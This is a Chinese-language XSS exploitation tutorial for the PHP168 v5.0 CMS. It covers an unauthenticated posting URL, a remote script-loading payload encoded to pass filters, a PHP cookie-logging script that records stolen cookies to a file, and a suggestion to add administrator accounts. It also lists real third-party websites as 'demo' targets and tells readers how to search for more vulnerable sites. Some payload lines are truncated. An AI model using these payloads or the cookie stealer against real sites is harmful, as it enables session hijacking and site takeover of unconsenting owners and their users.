專(zhuān)業(yè)解讀PHP168 XSS跨站及利用
(一)軟件測(cè)試環(huán)境以及搭建
測(cè)試環(huán)境:本地 XAMPP 1.7.1
測(cè)試軟件:PHP168整站v5.0
軟件下載地址 http://down2.php168.com/v2008.rar
PHP.ini 配置: magic_quotes_gpc Off(On或者Off對(duì)持久型XSS并無(wú)沒(méi)影響) ;register_globals Off ;safe_mode Off ;
(二)XSS跨站基礎(chǔ)
1、XSS攻擊定義
XSS又叫CSS (Cross Site Script) ,簡(jiǎn)稱(chēng)跨站腳本攻擊。它指的是惡意攻擊者往Web頁(yè)面里插入惡意html代碼,當(dāng)用戶(hù)瀏覽該頁(yè)之時(shí),嵌入其中Web里面的html代碼會(huì)被執(zhí)行,從而達(dá)到惡意用戶(hù)的特殊目的。XSS屬于被動(dòng)式的攻擊,因?yàn)槠浔粍?dòng)且不好利用,所以許多人常呼略其危害性,實(shí)際很多系統(tǒng)都存在XSS漏洞,本文中主要是研究PHP168整站系統(tǒng)中的XSS的利用。
2、如何尋找XSS漏洞
就一般而言,XSS攻擊可以分成兩類(lèi),一類(lèi)是來(lái)自?xún)?nèi)部的攻擊,主要指的是利用程序自身的漏洞,構(gòu)造跨站語(yǔ)句,如:dvbbs的showerror.asp存在的跨站漏洞。另一類(lèi)則是來(lái)來(lái)自外部的攻擊,主要指的自己構(gòu)造XSS跨站漏洞網(wǎng)頁(yè)或者尋找非目標(biāo)機(jī)以外的有跨站漏洞的網(wǎng)頁(yè)。如當(dāng)我們要滲透一個(gè)站點(diǎn),我們自己構(gòu)造一個(gè)有跨站漏洞的網(wǎng)頁(yè),然后構(gòu)造跨站語(yǔ)句,通過(guò)結(jié)合其它技術(shù),如社會(huì)工程學(xué)等,欺騙目標(biāo)服務(wù)器的管理員打開(kāi)。
3、如何利用
傳統(tǒng)的跨站利用方式一般都是攻擊者先構(gòu)造一個(gè)跨站網(wǎng)頁(yè),然后在另一空間里放一個(gè)收集cookie的頁(yè)面,接著結(jié)合其它技術(shù)讓用戶(hù)打開(kāi)跨站頁(yè)面以盜取用戶(hù)的cookie,以便進(jìn)一步的攻擊。個(gè)人認(rèn)為這種方式太過(guò)于落后,對(duì)于弊端大家可能都知道,因?yàn)榧幢隳闶占搅薱ookie你也未必能進(jìn)一步滲透進(jìn)去,多數(shù)的cookie里面的密碼都是經(jīng)過(guò)加密的,如果想要cookie欺騙的話(huà),同樣也要受到其它的條件的限約。而本文提出的另一種思路,則從一定程度上解決上述的問(wèn)題。對(duì)于個(gè)人而言,比較成熟的方法是通過(guò)跨站構(gòu)造一個(gè)表單,表單的內(nèi)容則為利用程序的備份功能或者加管理員等功能得到一個(gè)高權(quán)限。
(三)XSS跨站利用
1.獲取XSS漏洞地址
XSS又叫CSS 全稱(chēng)Cross Site Scripting 跨站腳本攻擊。分為持久性,反射型兩種。本文演示的是持久性跨站以及簡(jiǎn)單利用。其實(shí)都是站在前人的基礎(chǔ)上,感謝那些無(wú)私奉獻(xiàn)的牛牛。我們安裝完php168后,不要登陸,直接打開(kāi)如下URL: http://localhost/php168/member/post.php?job=postnew&fid=2
可以繞過(guò)管理員登陸,直接發(fā)表文章,如圖1所示。
圖1繞過(guò)驗(yàn)證直接發(fā)帖
說(shuō)明:
如果是在實(shí)際網(wǎng)絡(luò)上面進(jìn)行測(cè)試,可以使用“php168/member/post.php”作為關(guān)鍵值進(jìn)行搜索,找到搜索結(jié)果后,對(duì)結(jié)果進(jìn)行查看,如圖2所示,單擊其中的“發(fā)表”鏈接進(jìn)入發(fā)表頁(yè)面。這樣獲取的Fid才是正確的ID,否則得到的ID打不開(kāi)頁(yè)面,如圖3所示。在圖3中的相應(yīng)輸入框中輸入相應(yīng)的測(cè)試值,完畢進(jìn)行發(fā)表,如圖4所示,會(huì)給出發(fā)表后的相應(yīng)操作,單擊查看,可以看到剛才發(fā)表的帖子,如圖5所示,整個(gè)發(fā)表過(guò)程無(wú)須審核和登錄。
圖2 搜索獲取php168發(fā)帖地址
圖3 直接發(fā)表帖子
圖4 發(fā)表帖子成功
圖5 查看發(fā)表的帖子
2.測(cè)試XSS
在發(fā)表帖子頁(yè)面中選擇“源碼”模式,然后在內(nèi)容中加入以下代碼:
然后單擊發(fā)表,我們看看文章地址:http://127.0.0.1/php168/bencandy.php?fid=2&aid=4
邪惡的XSS 出現(xiàn),如圖6所示。
圖6找到邪惡的XSS
3.遠(yuǎn)程包含JS文件攻擊
我們遠(yuǎn)程包含JS文件來(lái)攻擊,代碼如下:
src="javascript:s=document.createElement('script');
s.src='http://127.0.0.1/xss/xss.js';
document.body.appendChild(s);"/>
這樣直接發(fā)上去是會(huì)被過(guò)濾掉的,我們轉(zhuǎn)換編碼,對(duì)于不會(huì)轉(zhuǎn)換編碼的朋友可以到http://ha.ckers.org/xss.html#ipobfuscate去直接轉(zhuǎn)換。
代碼如下:
src="javascript:s=document.createElement('script');
s.src='http://127.0.0.1/xss/xss.js';
document.body.appendChild(s);"/>
這樣我們就可以直接編輯我們的xss.js文件來(lái)吊管理員Cookie了。當(dāng)然反射型的更多。其執(zhí)行效果如圖7所示。
圖7 XSS讀取效果
4.獲取Cookie
我們編輯js文件如下:
alert(document.cookie);
返回查看,如圖8所示,顯示本地的Cookie值。
圖8 獲取本地Cookie值
當(dāng)然我們隱藏釣管理員Cookie,并沒(méi)測(cè)試官方。請(qǐng)大牛試試吧。
5.編寫(xiě)代碼獲取Cookie或者直接添加管理員
編寫(xiě)我們的PHP文件,代碼如下:
/*auther:menzhi007 Blog:http://hi.baidu.com/menzhi007 */
$txtfile = "menzhi.php";
$date = date("Y-m-d - H:i:s");
$cookie = $_GET['get'];
$writeinfo = "{$date}\n{$cookie}\n";
$printer = fopen($txtfile, 'a');
fwrite($printer,$writeinfo);
fclose($printer);
?>或者直接添加管理員,代碼如下:
location.;
平時(shí)也沒(méi)什么時(shí)間上網(wǎng),具體大家自己測(cè)試吧。官方路徑:D:\p8-server\wwwroot\php168_com\
已通知官方修補(bǔ)漏洞了,不要搞破壞(沒(méi)進(jìn)入官方挺后悔的)。
(四)實(shí)例演示
大家打開(kāi)官方主頁(yè)http://www.php168.com/biz/impower.php
商業(yè)授權(quán)查詢(xún),如圖9所示。
圖9 獲取使用php168整站系統(tǒng)的用戶(hù)
我們隨便挑幾個(gè),演示站點(diǎn):
http://www.3cq.org/member/post.php?job=postnew&fid=2
圖10演示站點(diǎn)1
演示站點(diǎn)2:
http://www.ccdv.cc/member/post.php?job=postnew&fid=2
圖11演示站點(diǎn)2
【編輯推薦】